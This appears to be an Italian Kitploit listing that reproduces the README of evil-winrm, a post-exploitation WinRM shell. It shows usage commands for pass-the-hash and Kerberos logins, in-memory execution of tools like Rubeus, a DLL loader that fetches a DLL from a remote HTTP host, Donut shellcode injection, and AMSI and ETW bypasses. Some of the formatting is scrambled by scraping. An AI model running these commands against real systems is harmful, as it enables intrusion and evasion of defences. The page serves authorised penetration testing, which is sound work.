Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
evil-winrm — La shell WinRM definitiva per hacking/pentesting | Kitploit
Strumenti/GitHubGitHub/hackplayers/evil-winrm
Generazione di PayloadExploitPost-ExploitPenetration TestingAutenticazioneStrumento di Accesso Remoto
GitHubhackplayers/evil-winrm

evil-winrm

La shell WinRM definitiva per hacking/pentesting

Vedi Repository
5.4k6808 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Evil-WinRM ![Version-shield] ![Ruby2.3-shield] ![Gem-Version] ![License-shield] ![Docker-shield]

La shell WinRM definitiva per hacking/pentesting

Banner

Descrizione e Scopo

Questa shell è la shell WinRM definitiva per hacking/pentesting.

WinRM (Windows Remote Management) è l'implementazione Microsoft del protocollo WS-Management, un protocollo standard basato su SOAP che consente a hardware e sistemi operativi di diversi fornitori di interoperare. Microsoft lo ha incluso nei propri sistemi operativi per semplificare la vita agli amministratori di sistema.

Questo programma può essere utilizzato su qualsiasi server Microsoft Windows con questa funzionalità abilitata (solitamente sulla porta 5985), ovviamente solo se si dispone di credenziali e permessi per utilizzarlo. Possiamo quindi dire che potrebbe essere utilizzato in una fase di post-exploitation hacking/pentesting. Lo scopo di questo programma è fornire funzionalità comode e facili da usare per l'hacking. Può essere utilizzato anche per scopi legittimi dagli amministratori di sistema, ma la maggior parte delle sue funzionalità è focalizzata su cose relative all'hacking/pentesting.

Si basa principalmente sulla libreria Ruby WinRM che ha cambiato il suo modo di funzionare dalla versione 2.0. Ora, invece di utilizzare il protocollo WinRM, utilizza PSRP (Powershell Remoting Protocol) per inizializzare pool di runspace e per creare ed elaborare pipeline.

Caratteristiche

  • Compatibile con sistemi client Linux e Windows
  • Caricare in memoria script Powershell
  • Caricare in memoria file dll bypassando alcuni AV
  • Caricare in memoria assembly C# (C Sharp) bypassando alcuni AV
  • Caricare payload x64 generati con la fantastica tecnica [donut]
  • Bypass dinamico AMSI per evitare firme AV
  • Supporto Pass-the-hash
  • Supporto autenticazione Kerberos inclusi anche file ccache e kirbi
  • Supporto SSL e certificati
  • Caricare e scaricare file con barra di progresso
  • Elencare servizi di macchine remote senza privilegi
  • Cronologia comandi
  • Completamento comandi WinRM
  • Completamento file/directory locali
  • Completamento percorsi remoti (file/directory) (può essere disabilitato opzionalmente)
  • Colorazione del prompt e dei messaggi di output (può essere disabilitata opzionalmente)
  • Funzionalità di logging opzionale
  • Supporto Docker (immagini pre-costruite disponibili su [Dockerhub])
  • Cattura trap per evitare uscita accidentale della shell con Ctrl+C
  • User-agent personalizzabile usando quello predefinito legittimo di Windows
  • Bypass ETW (Event Tracing for Windows)

Aiuto```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

root@kitploit:~
## Requisiti
È necessario Ruby 2.3 o superiore. Sono necessari anche alcuni gem ruby: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
A seconda del metodo di installazione (4 disponibili), potrebbe essere necessario installarli manualmente.

Un altro requisito importante utilizzato solo per l'autenticazione Kerberos è installare il pacchetto Kerberos usato per l'autenticazione di rete.
Per alcuni Linux basati su Debian (Kali, Parrot, ecc.) si chiama `krb5-user`. Per BlackArch si chiama `krb5` e probabilmente potrebbe avere un nome diverso per altre distribuzioni Linux.

La funzionalità di completamento del percorso remoto funzionerà solo se il tuo ruby è stato compilato abilitando il flag `--with-readline-dir`. Questo è abilitato per default nel ruby incluso in alcune distribuzioni Linux ma non in tutte. Controlla [la sezione sottostante](#Remote-path-completion) per maggiori informazioni.

## Installazione & Avvio rapido (4 metodi)

### Metodo 1. Installazione diretta come gem ruby (le dipendenze verranno installate automaticamente sul tuo sistema)
 - Passo 1. Installalo (installerà automaticamente le dipendenze): ```gem install evil-winrm```
 - Passo 2. Pronto. Avvialo!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Metodo 2. Clonare con Git e installare le dipendenze manualmente sul sistema

  • Passo 1. Installa le dipendenze manualmente: sudo gem install winrm winrm-fs stringio logger fileutils
  • Passo 2. Clona il repository: git clone https://github.com/Hackplayers/evil-winrm.git
  • Passo 3. Pronto. Basta avviarlo!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
root@kitploit:~
### Metodo 3. Usare bundler (le dipendenze non verranno installate sul tuo sistema, solo per usare evil-winrm)
 - Passo 1. Installa bundler: `gem install bundler`
 - Passo 2. Clona il repository: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Passo 3. Installa le dipendenze con bundler: `cd evil-winrm && bundle install --path vendor/bundle`
 - Passo 4. Avvia con bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Metodo 4. Utilizzo di Docker

  • Passo 1. Avvia il container docker basato sull'immagine già costruita:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
root@kitploit:~
## Documentazione

### Password in chiaro
Se non vuoi inserire la password in chiaro, puoi evitare di impostare l'argomento `-p` e la password verrà richiesta senza essere mostrata.

### IPv6
Per utilizzare IPv6, l'indirizzo deve essere aggiunto a /etc/hosts. Basta inserire il nome già impostato dell'host dopo l'argomento `-i` invece di un indirizzo IP.

### Comandi di base
 - **upload**: i file locali possono essere completati automaticamente usando il tasto Tab.
   - uso: `upload nome_file_locale` o `upload nome_file_locale nome_file_destinazione`
 - **download**:
   - uso: `download nome_file_remoto` o `download nome_file_remoto nome_file_destinazione`

 __Note sui percorsi (upload/download)__:
   Non è consentito l'uso di percorsi relativi per download/upload. Usa i nomi dei file nella directory corrente o il percorso assoluto.
   Se stai usando Evil-WinRM in un ambiente Docker, tieni presente che tutti i percorsi locali devono essere in `/data` e assicurati di averlo mappato come volume per poter accedere ai file scaricati o per poter caricare file dal tuo sistema host locale.

 - **services**: elenca tutti i servizi mostrando se il tuo account ha permessi su ciascuno di essi. Non sono necessari permessi di amministratore per usare questa funzionalità.
 - **menu**: carica le funzioni `Invoke-Binary`, `Dll-Loader` e `Donut-Loader` che spiegheremo di seguito. Quando viene caricato un ps1, tutte le sue funzioni verranno visualizzate.
 - **clear** o **cls**: pulisce lo schermo del terminale. Puoi anche usare la scorciatoia da tastiera `Ctrl+L` per pulire lo schermo.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Caricare script powershell

  • Per caricare un file ps1 basta digitare il nome (completamento automatico usando tab consentito). Gli script devono trovarsi nel percorso impostato con l'argomento -s. Digita di nuovo menu e vedi le funzioni caricate. File molto grandi possono richiedere molto tempo per essere caricati.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

    root@kitploit:~
       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

root@kitploit:~
### Comandi avanzati
- Invoke-Binary: consente di eseguire assembly .Net in memoria. Il nome può essere autocompletato usando il tasto Tab. Gli argomenti per il file .exe possono essere passati separati da virgola. Esempio: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Gli eseguibili devono essere nel percorso impostato con l'argomento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: permette di caricare librerie dll in memoria, è equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    Il file dll può essere ospitato tramite smb, http o localmente. Una volta caricato, digita menu, quindi è possibile completare automaticamente tutte le funzioni.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

root@kitploit:~
Donut-Loader: permette di iniettare payload x64 generati con la fantastica tecnica [donut]. Non è necessario codificare il payload.bin, basta generarlo e iniettarlo!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Puoi usare questo [donut-maker] per generare payload.bin se non usi Windows. Questo script utilizza un modulo Python scritto da Marcello Salvati ([byt3bl33d3r]). Può essere installato usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

root@kitploit:~
- Bypass-4MSI: aggira la protezione AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Prima devi sincronizzare la data con il DC: rdate -n <dc_ip>

  • Per generare il ticket ci sono molti modi:

    • Usando [ticketer.py] di impacket
    • Usando [Rubeus] o [Mimikatz] per ottenere ticket kirbi (la conversione automatica in ccache è supportata)
  • Aggiungi il file del ticket. Ci sono 3 modi:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    Usa il parametro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache o evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    Quando si usa -K, lo strumento automaticamente:

    • Rileva il formato del ticket (ccache o kirbi)
    • Converte i ticket kirbi in formato ccache se necessario (richiede ticket_converter.py o impacket-ticketConverter)
    • Verifica che il file esista e sia leggibile
    • Imposta la variabile d'ambiente KRB5CCNAME
    • Risolve gli indirizzi IP in FQDN per una migliore compatibilità Kerberos
  • Aggiungi il realm a /etc/krb5.conf (per Linux). L'uso di questo formato è importante: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

Completamento del percorso remoto

Questa funzionalità potrebbe non essere disponibile a seconda della versione di Ruby in uso. Deve essere compilata con il supporto readline. Altrimenti, questa funzionalità non funzionerà (verrà mostrato un avviso).

Metodo 1 (compilare l'estensione necessaria)

Usando questo metodo, compilerai Ruby con la funzionalità readline necessaria, ma utilizzando solo la libreria senza cambiare la versione predefinita di Ruby sul tuo sistema. Per questo motivo, è il metodo più raccomandato.

Supponiamo che tu abbia sul tuo sistema basato su Debian Ruby 2.7.3:```

Install needed package

apt install libreadline-dev

Check your ruby version

ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

Download ruby source code (2.7.3 in this case):

wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

Extract source code

tar -xf ruby-2.7.3.tar.gz

Compile the readline extension:

cd ruby-2.7.3/ext/readline ruby ./extconf.rb make

Patch current version of the ruby readline extension:

sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

root@kitploit:~
#### Metodo 2 (Installa ruby per usarlo solo per evil-winrm utilizzando rbenv)

Supponiamo che tu voglia ruby 2.7.1 su un Linux basato su Debian e che tu stia usando zsh. Questo script lo automatizzerà. Dovrai eseguirlo dalla stessa directory in cui si trovano evil-winrm.rb e Gemfile (la directory evil-winrm creata dopo un git clone per esempio):```
#!/usr/bin/env zsh

# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q

# Install rbenv
sudo apt install rbenv

# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc

# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1

# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1

# Install local gems
gem install bundler
bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
    #!/usr/bin/env sh
    "${current_evwr}" "\$@"
EOF"

sudo chmod +x /usr/bin/evil-winrm

Metodo 3 (compila l'intero ruby)

Se vuoi compilarlo da solo, puoi seguire questi passaggi. Supponiamo che tu voglia ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

root@kitploit:~
A seconda del tuo sistema, verrà installato in `/opt/rubies/ruby-2.7.3` o forse in ` ~/.rubies/ruby-2.7.3`.

Ora devi solo installare le dipendenze di evil-winrm per quella nuova versione di ruby installata. Il modo più semplice è lanciare il comando `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. Il comando gem utilizzato deve appartenere alla nuova installazione di ruby.

Dopodiché, puoi lanciare in sicurezza il tuo nuovo ruby installato per usarlo su evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`

Si consiglia di utilizzare questo nuovo ruby installato solo per lanciare evil-winrm. Se lo imposti come ruby predefinito per il tuo sistema, tieni presente che non ha gemme di dipendenza installate. Alcuni software basati su ruby come Metasploit o altri potrebbero non avviarsi correttamente a causa di problemi di dipendenze.

### Registrazione

Questa funzione creerà file nella tua directory $HOME salvando i comandi e gli output delle sessioni WinRM.

### Cronologia comandi

Evil-WinRM mantiene una cronologia persistente dei comandi per ogni combinazione di host e utente. La cronologia è archiviata nella directory `~/.evil-winrm/history/` con file denominati come `{host}_{user}.hist`.

Quando ti connetti a una macchina a cui hai già avuto accesso in precedenza, puoi usare i tasti freccia (Su/Giù) per navigare tra i comandi precedenti. La cronologia viene salvata automaticamente dopo ogni esecuzione di comando e caricata quando ti riconnetti allo stesso host con lo stesso utente.

### Problemi noti. Errori OpenSSL

A volte, potresti incontrare un errore come questo:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Il problema è causato dal fatto che la versione 3.0 di OpenSSL ha ritirato alcune funzioni legacy come MD4, necessarie per eseguire questo strumento. Esistono diverse soluzioni alternative per gestire questa situazione:

  • Aggiornare il sistema all'ultima versione. Probabilmente, questo problema è stato risolto automaticamente nelle ultime versioni di Ruby che utilizzano versioni più recenti di OpenSSL.
  • Compilare il proprio Ruby utilizzando il vecchio OpenSSL 1.x invece di OpenSSL 3.0, oppure compilarlo utilizzando OpenSSL > 3.0 per evitare la problematica versione 3.0.
  • La più semplice. Modificare il file di configurazione /etc/ssl/openssl.cnf e assicurarsi che la configurazione sia come questa:``` openssl_conf = openssl_init

[openssl_init] providers = provider_sect

[provider_sect] default = default_sect legacy = legacy_sect

[default_sect] activate = 1

[legacy_sect] activate = 1

root@kitploit:~
- Come alternativa all'ultima soluzione alternativa, se il tuo sistema utilizza LibreSSL invece di OpenSSL o forse semplicemente non vuoi modificare il file di configurazione di sistema. Crea un semplice file contenente il contenuto sopra. Puoi usare qualsiasi nome, ad esempio `evil-tls.conf`. Dopodiché, esporta una variabile d'ambiente per forzare il sistema ad usarlo: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Quindi avvia lo strumento, l'errore scomparirà.

## Registro delle modifiche:
Registro delle modifiche e cambiamenti del progetto possono essere verificati qui: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)

## Crediti:
Staff:

 - [Cybervaca], (fondatore). Twitter (X): [@CyberVaca_]
 - [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
 - [Jarilaos], Twitter (X): [@_Laox]
 - [arale61], Twitter (X): [@arale61]

Ringraziamenti a:

 - [Vis0r] per il suo supporto personale.
 - [Alamot] per il suo codice originale.
 - [3v4Si0N] per il suo fantastico caricatore dll.
 - [WinRb] Tutti i contributori della libreria ruby.
 - [TheWover] per il suo fantastico strumento donut.
 - [byt3bl33d3r] per la sua libreria python per creare payload donut.
 - [Sh11td0wn] per l'ispirazione sulle nuove funzionalità.
 - [Borch] per il suo aiuto nell'aggiungere la funzionalità di logging.
 - [Hackplayers] per aver dato un rifugio sul loro github a questo software.

## Dichiarazione di non responsabilità e Licenza
Questo script è concesso in licenza LGPLv3+. Collegamento diretto alla [Licenza](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).

Evil-WinRM dovrebbe essere utilizzato solo per test di penetrazione autorizzati e/o scopi educativi senza scopo di lucro.
Qualsiasi uso improprio di questo software non sarà di responsabilità dell'autore o di qualsiasi altro collaboratore.
Usalo sui tuoi server e/o con il permesso del proprietario del server.

<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/

<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61

<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Scarica lo strumento
root@kitploit:~
  • Controlla i ticket Kerberos con klist

  • Per rimuovere un ticket usa: kdestroy

  • Per maggiori informazioni su Kerberos, consulta questo [cheatsheet]